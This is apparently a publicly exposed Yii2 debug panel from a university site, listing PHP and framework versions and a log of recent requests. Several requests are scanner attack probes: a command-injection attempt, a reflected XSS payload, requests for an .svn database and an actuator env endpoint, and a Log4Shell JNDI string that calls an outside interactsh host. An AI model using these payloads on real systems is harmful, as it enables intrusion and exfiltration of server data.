2.0.7-dev
PHP
7.0.33-0+deb9u7
Status
404
Route
site/error
Log
14
1
Time
188 ms
Memory
1.658 MB
Asset Bundles
4
Configuration
Request
Logs
Profiling
Database
Asset Bundles
Mail
All
Latest
Last 10
686a2821e3b5c: GET https://su.samgtu.ru/.well-known/assetlinks.json, 2025-07-06 11:39:13 am, 66.249.68.66
686a265cc480d: GET https://su.samgtu.ru/AdminPage/conf/runCmd?cmd=id, 2025-07-06 11:31:40 am, 216.73.216.106
686a125f890f3: GET https://su.samgtu.ru/jquery-file-upload/server/php, 2025-07-06 10:06:23 am, 216.73.216.106
686a10d503df9: GET https://su.samgtu.ru/site, 2025-07-06 09:59:49 am, 66.249.68.65
686a0a43232e6: GET https://su.samgtu.ru/api_v2/actuator/env, 2025-07-06 09:31:47 am, 216.73.216.106
686a066d436db: GET https://su.samgtu.ru/status%3E%3Cscript%3Ealert(7331)%3C%2Fscript%3E, 2025-07-06 09:15:25 am, 216.73.216.106
686a02f89ef15: GET https://su.samgtu.ru/.svn/wc.db, 2025-07-06 09:00:40 am, 216.73.216.106
686a01cfa6c7b: GET https://su.samgtu.ru/.well-known/assetlinks.json, 2025-07-06 08:55:43 am, 74.125.150.65
686a01b6a5c30: GET https://su.samgtu.ru/?x=${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg5nn3obe473y.interactsh.com/a}, 2025-07-06 08:55:18 am, 5.255.231.16
6869fbb380b37: GET https://su.samgtu.ru/, 2025-07-06 08:29:39 am, 51.68.111.245
6869b41d30072: GET
https://su.samgtu.ru/.well-known/apple-app-site-association
at 2025-07-06 03:24:13 am by 74.125.150.66
Performance Profiling
Total processing time:
188 ms
; Peak memory:
1.658 MB
.
#
Time
Duration
Category
Info
Ничего не найдено.